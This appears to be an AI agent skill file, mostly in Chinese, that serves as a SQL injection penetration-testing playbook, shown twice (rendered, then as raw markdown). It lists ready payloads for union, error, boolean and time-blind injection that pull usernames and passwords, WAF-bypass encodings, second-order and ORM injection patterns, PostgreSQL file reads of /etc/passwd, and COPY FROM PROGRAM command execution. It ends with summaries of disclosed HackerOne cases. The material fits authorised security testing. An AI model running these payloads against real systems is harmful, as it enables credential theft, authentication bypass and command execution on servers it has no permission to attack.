SQL Injection Penetration Testing Patterns
当对 Web 应用进行 SQL 注入渗透测试时加载此 Skill。覆盖经典 SQLi、盲注、ORM 注入等攻击手法。
Attack Surface Discovery
高风险端点特征:
- 搜索/过滤功能:
?search=, ?filter=, ?sort=, ?order= 参数
- URL 路径中的 ID/标识符:
/user/123, /item/abc
- 登录/认证表单:用户名、密码字段
- API 端点:REST 查询参数、GraphQL 变量
- 后台管理面板:报表查询、数据导出功能
识别信号:
- 数据库错误信息泄露(MySQL:
You have an error in your SQL syntax, PostgreSQL: ERROR: syntax error at or near)
- 参数添加单引号
' 后响应异常(500 错误、空白页、内容变化)
- 数字参数可进行算术运算(
id=2-1 等价于 id=1)
- ORM 框架特征(Django QuerySet、Rails ActiveRecord、SQLAlchemy)
Exploitation Techniques
手动测试方法:
- 探测注入点:在每个参数后添加
'、"'、') 观察响应差异
- 确认注入:使用布尔条件
' AND '1'='1 vs ' AND '1'='2 对比响应
- 判断注入类型:
- Error-based:错误信息中直接回显数据
- Union-based:
' UNION SELECT NULL,NULL-- 逐步确定列数
- Boolean-blind:响应内容因条件真假而不同
- Time-blind:
'; WAITFOR DELAY '0:0:5'--(MSSQL)或 ' AND SLEEP(5)--(MySQL)
Payload 构造:
# Union-based(先确定列数)
' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
# Error-based(MySQL)
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
# Time-blind
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
# Boolean-blind
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
Bypass 技巧:
- WAF 绕过:
/*!50000UNION*/、uNiOn SeLeCt、内联注释 /**/
- 编码绕过:URL 双重编码
%2527、Unicode 编码
- 空格替代:
/**/、%09、%0a、+
- 关键字拆分:
SEL/**/ECT、UN/**/ION
Second-order SQLi(二次注入):
- 第一步:在注册/Profile 更新等写入操作中存入恶意 payload(如用户名
admin'--)
- 第二步:当应用在后续查询中使用已存储的数据(未重新转义)时触发注入
- 常见场景:注册用户名 → 密码修改时使用该用户名构造 SQL
ORM 特定注入:
- Django Q 对象
_connector 注入:通过操纵 Q 对象的连接器注入任意 SQL
- Django
FilteredRelation:测试条件构造中的注入点
- SQLAlchemy
text() 拼接:检查原始 SQL 片段是否含用户输入
- Rails ActiveRecord:
.where("name = '#{params[:name]}'")、.order(params[:sort]) 未参数化
- Hibernate HQL:
createQuery("FROM User WHERE name = '" + input + "'") 拼接
- Sequelize:
.literal() 和 $raw 查询中的未转义输入
PostgreSQL 特定 Payload:
# Error-based
' AND 1=CAST((SELECT version()) AS int)--
# Time-blind
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# 文件读取
' UNION SELECT pg_read_file('/etc/passwd',0,1000)--
# 命令执行(需 superuser)
'; COPY cmd_exec FROM PROGRAM 'id';--
Detection Checklist
Impact Assessment
漏洞利用可达到的效果:
- 数据泄露:读取整个数据库(用户凭证、PII、业务数据)
- 认证绕过:
' OR '1'='1 绕过登录验证
- 数据篡改:INSERT/UPDATE/DELETE 操作修改数据
- 权限提升:通过数据库写入 webshell 或执行系统命令(
xp_cmdshell、LOAD_FILE/INTO OUTFILE)
- 横向移动:利用数据库连接信息访问其他内部服务
严重度判断:
- Critical:可提取敏感数据(凭证、PII)、可执行系统命令、无需认证即可利用
- High:需认证但可读取大量数据、盲注可确认敏感信息存在
- Medium:注入存在但提取数据受限(如仅 boolean-blind 且 WAF 限制严格)
Real-World Cases
以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。
Case 1: Django — SQL Injection in Django ORM via Unvalidated _connector in Q Objects
- 严重度: Critical | CWE: SQL Injection
- 摘要: A critical SQL injection vulnerability was discovered in the Django ORM's handling of Q objects. The internal WhereNode.as_sql method used unsafe string formatting to inject the query connector, which...
- 报告: https://hackerone.com/reports/3335709
Case 2: Django — SQL Injection when using FilteredRelation
- 严重度: Critical | CWE: SQL Injection
- 摘要: A SQL injection vulnerability was discovered in the Django framework when using the FilteredRelation feature. The vulnerability was located in the tests/filtered_relation/tests.py file. The vulnerabil...
- 报告: https://hackerone.com/reports/3292573
Case 3: IBM — SQL Injection vulnerability found on ibm.com endpoint
- 严重度: Critical | CWE: SQL Injection
- 摘要: A SQL injection vulnerability was found on an ibm.com endpoint. The vulnerability was reported to IBM, analyzed, and remediated.
- 报告: https://hackerone.com/reports/3578842
Case 4: IBM — SQL injection identified on IBM endpoint.
- 严重度: Critical | CWE: SQL Injection
- 摘要: SQL injection vulnerability was identified on an IBM endpoint. The issue was reported to IBM, analyzed, and remediated.
- 报告: https://hackerone.com/reports/2830573
Case 5: MTN Group — SQLi | in URL paths
- 严重度: Critical | CWE: SQL Injection
- 摘要: The vulnerability summary is as follows:
A SQL injection vulnerability was discovered in the customerId parameter of the URL path. The vulnerability was demonstrated by adding a quote in the customer...
Case 6: MTN Group — SQL injection in URL path leads to Database Access
Case 7: Mars — SQLi At ███████ via theme_name
- 严重度: Critical | CWE: SQL Injection
- 摘要: A SQL injection vulnerability was discovered in a web application's theme selection endpoint through the "theme_name" parameter. Using SQLMap, the vulnerability was demonstrated to be exploitable thro...
- 报告: https://hackerone.com/reports/3293803
Case 8: Mars — SQLi at █████ parameter
- 严重度: Critical | CWE: SQL Injection
- 摘要: A SQL injection vulnerability was discovered in an items endpoint that accepted unauthenticated POST requests without CSRF validation. The vulnerability allowed execution of arbitrary SQL commands and...
- 报告: https://hackerone.com/reports/3277276
Case 9: Mars — Blind SQL Injection on █████ via URI Path
- 严重度: Critical | CWE: SQL Injection
- 摘要: The vulnerability involved a time-based SQL injection attack on the target system via the URI path. The attack capitalized on vulnerabilities in the application's interactions with the database, allow...
- 报告: https://hackerone.com/reports/2266081
Case 10: Mozilla — SQL Injection on prod.oidc-proxy.prod.webservices.mozgcp.net via invite_code parameter - Mozilla social inscription
- 严重度: Critical | CWE: SQL Injection
- 摘要: A SQL injection vulnerability was found in the invite_code parameter on prod.oidc-proxy.prod.webservices.mozgcp.net during Mozilla social inscription. Adding quotes to the parameter revealed the issue...
- 报告: https://hackerone.com/reports/2209130
1---2name: pentest-sqli3description: Use when performing penetration testing targeting SQL injection vulnerabilities in web applications. Keywords: SQL injection, blind SQLi, union-based, error-based, time-based, second-order injection, ORM injection, parameterized queries bypass4---56# SQL Injection Penetration Testing Patterns78当对 Web 应用进行 SQL 注入渗透测试时加载此 Skill。覆盖经典 SQLi、盲注、ORM 注入等攻击手法。910## Attack Surface Discovery1112**高风险端点特征:**13- 搜索/过滤功能:`?search=`, `?filter=`, `?sort=`, `?order=` 参数14- URL 路径中的 ID/标识符:`/user/123`, `/item/abc`15- 登录/认证表单:用户名、密码字段16- API 端点:REST 查询参数、GraphQL 变量17- 后台管理面板:报表查询、数据导出功能1819**识别信号:**20- 数据库错误信息泄露(MySQL: `You have an error in your SQL syntax`, PostgreSQL: `ERROR: syntax error at or near`)21- 参数添加单引号 `'` 后响应异常(500 错误、空白页、内容变化)22- 数字参数可进行算术运算(`id=2-1` 等价于 `id=1`)23- ORM 框架特征(Django QuerySet、Rails ActiveRecord、SQLAlchemy)2425## Exploitation Techniques2627**手动测试方法:**281. **探测注入点**:在每个参数后添加 `'`、`"'`、`')` 观察响应差异292. **确认注入**:使用布尔条件 `' AND '1'='1` vs `' AND '1'='2` 对比响应303. **判断注入类型**:31 - Error-based:错误信息中直接回显数据32 - Union-based:`' UNION SELECT NULL,NULL--` 逐步确定列数33 - Boolean-blind:响应内容因条件真假而不同34 - Time-blind:`'; WAITFOR DELAY '0:0:5'--`(MSSQL)或 `' AND SLEEP(5)--`(MySQL)3536**Payload 构造:**37```38# Union-based(先确定列数)39' ORDER BY 1-- 40' ORDER BY 2--41' UNION SELECT NULL,NULL,NULL--42' UNION SELECT username,password,NULL FROM users--4344# Error-based(MySQL)45' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--4647# Time-blind48' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--4950# Boolean-blind51' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--52```5354**Bypass 技巧:**55- WAF 绕过:`/*!50000UNION*/`、`uNiOn SeLeCt`、内联注释 `/**/`56- 编码绕过:URL 双重编码 `%2527`、Unicode 编码57- 空格替代:`/**/`、`%09`、`%0a`、`+`58- 关键字拆分:`SEL/**/ECT`、`UN/**/ION`5960**Second-order SQLi(二次注入):**61- 第一步:在注册/Profile 更新等写入操作中存入恶意 payload(如用户名 `admin'--`)62- 第二步:当应用在后续查询中使用已存储的数据(未重新转义)时触发注入63- 常见场景:注册用户名 → 密码修改时使用该用户名构造 SQL6465**ORM 特定注入:**66- Django Q 对象 `_connector` 注入:通过操纵 Q 对象的连接器注入任意 SQL67- Django `FilteredRelation`:测试条件构造中的注入点68- SQLAlchemy `text()` 拼接:检查原始 SQL 片段是否含用户输入69- Rails ActiveRecord:`.where("name = '#{params[:name]}'")`、`.order(params[:sort])` 未参数化70- Hibernate HQL:`createQuery("FROM User WHERE name = '" + input + "'")` 拼接71- Sequelize:`.literal()` 和 `$raw` 查询中的未转义输入7273**PostgreSQL 特定 Payload:**74```75# Error-based76' AND 1=CAST((SELECT version()) AS int)--7778# Time-blind79'; SELECT pg_sleep(5)--80' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--8182# 文件读取83' UNION SELECT pg_read_file('/etc/passwd',0,1000)--8485# 命令执行(需 superuser)86'; COPY cmd_exec FROM PROGRAM 'id';--87```8889## Detection Checklist9091- [ ] 识别所有接受用户输入并可能参与数据库查询的参数(GET/POST/Cookie/Header)92- [ ] 对每个参数注入单引号 `'` 并观察响应变化(错误信息、状态码、内容差异)93- [ ] 使用布尔条件测试确认注入(`AND 1=1` vs `AND 1=2`)94- [ ] 测试 URL 路径参数(`/api/items/1'`)是否存在注入95- [ ] 尝试时间盲注确认无回显场景(`SLEEP(5)` / `pg_sleep(5)` / `WAITFOR DELAY`)96- [ ] 检查 ORM 框架特定注入点(Django Q objects、FilteredRelation)97- [ ] 使用 SQLMap 自动化验证已确认的注入点98- [ ] 测试 WAF/过滤器绕过(编码、大小写混合、注释)99- [ ] 尝试提取数据库版本、当前用户、数据库名等基础信息100- [ ] 评估是否可以读取文件(`LOAD_FILE`)或写入文件(`INTO OUTFILE`)101102## Impact Assessment103104**漏洞利用可达到的效果:**105- 数据泄露:读取整个数据库(用户凭证、PII、业务数据)106- 认证绕过:`' OR '1'='1` 绕过登录验证107- 数据篡改:INSERT/UPDATE/DELETE 操作修改数据108- 权限提升:通过数据库写入 webshell 或执行系统命令(`xp_cmdshell`、`LOAD_FILE`/`INTO OUTFILE`)109- 横向移动:利用数据库连接信息访问其他内部服务110111**严重度判断:**112- **Critical**:可提取敏感数据(凭证、PII)、可执行系统命令、无需认证即可利用113- **High**:需认证但可读取大量数据、盲注可确认敏感信息存在114- **Medium**:注入存在但提取数据受限(如仅 boolean-blind 且 WAF 限制严格)115116117## Real-World Cases118119以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。120121### Case 1: Django — SQL Injection in Django ORM via Unvalidated `_connector` in Q Objects122123- **严重度**: Critical | **CWE**: SQL Injection124- **摘要**: A critical SQL injection vulnerability was discovered in the Django ORM's handling of Q objects. The internal WhereNode.as_sql method used unsafe string formatting to inject the query connector, which...125- **报告**: https://hackerone.com/reports/3335709126127### Case 2: Django — SQL Injection when using FilteredRelation128129- **严重度**: Critical | **CWE**: SQL Injection130- **摘要**: A SQL injection vulnerability was discovered in the Django framework when using the FilteredRelation feature. The vulnerability was located in the tests/filtered_relation/tests.py file. The vulnerabil...131- **报告**: https://hackerone.com/reports/3292573132133### Case 3: IBM — SQL Injection vulnerability found on ibm.com endpoint134135- **严重度**: Critical | **CWE**: SQL Injection136- **摘要**: A SQL injection vulnerability was found on an ibm.com endpoint. The vulnerability was reported to IBM, analyzed, and remediated.137- **报告**: https://hackerone.com/reports/3578842138139### Case 4: IBM — SQL injection identified on IBM endpoint. 140141- **严重度**: Critical | **CWE**: SQL Injection142- **摘要**: SQL injection vulnerability was identified on an IBM endpoint. The issue was reported to IBM, analyzed, and remediated.143- **报告**: https://hackerone.com/reports/2830573144145### Case 5: MTN Group — SQLi | in URL paths146147- **严重度**: Critical | **CWE**: SQL Injection148- **摘要**: The vulnerability summary is as follows:149150A SQL injection vulnerability was discovered in the customerId parameter of the URL path. The vulnerability was demonstrated by adding a quote in the customer...151- **报告**: https://hackerone.com/reports/2958619152153### Case 6: MTN Group — SQL injection in URL path leads to Database Access154155- **严重度**: Critical | **CWE**: SQL Injection156- **摘要**: The application https://corporate.admyntec.co.za/ was found to have an SQL injection vulnerability in its URL paths. User IDs, organization numbers, and other sensitive information were stored in the ...157- **报告**: https://hackerone.com/reports/2633959158159### Case 7: Mars — SQLi At `███████` via `theme_name` 160161- **严重度**: Critical | **CWE**: SQL Injection162- **摘要**: A SQL injection vulnerability was discovered in a web application's theme selection endpoint through the "theme_name" parameter. Using SQLMap, the vulnerability was demonstrated to be exploitable thro...163- **报告**: https://hackerone.com/reports/3293803164165### Case 8: Mars — SQLi at █████ parameter166167- **严重度**: Critical | **CWE**: SQL Injection168- **摘要**: A SQL injection vulnerability was discovered in an items endpoint that accepted unauthenticated POST requests without CSRF validation. The vulnerability allowed execution of arbitrary SQL commands and...169- **报告**: https://hackerone.com/reports/3277276170171### Case 9: Mars — Blind SQL Injection on █████ via URI Path172173- **严重度**: Critical | **CWE**: SQL Injection174- **摘要**: The vulnerability involved a time-based SQL injection attack on the target system via the URI path. The attack capitalized on vulnerabilities in the application's interactions with the database, allow...175- **报告**: https://hackerone.com/reports/2266081176177### Case 10: Mozilla — SQL Injection on prod.oidc-proxy.prod.webservices.mozgcp.net via invite_code parameter - Mozilla social inscription178179- **严重度**: Critical | **CWE**: SQL Injection180- **摘要**: A SQL injection vulnerability was found in the invite_code parameter on prod.oidc-proxy.prod.webservices.mozgcp.net during Mozilla social inscription. Adding quotes to the parameter revealed the issue...181- **报告**: https://hackerone.com/reports/2209130182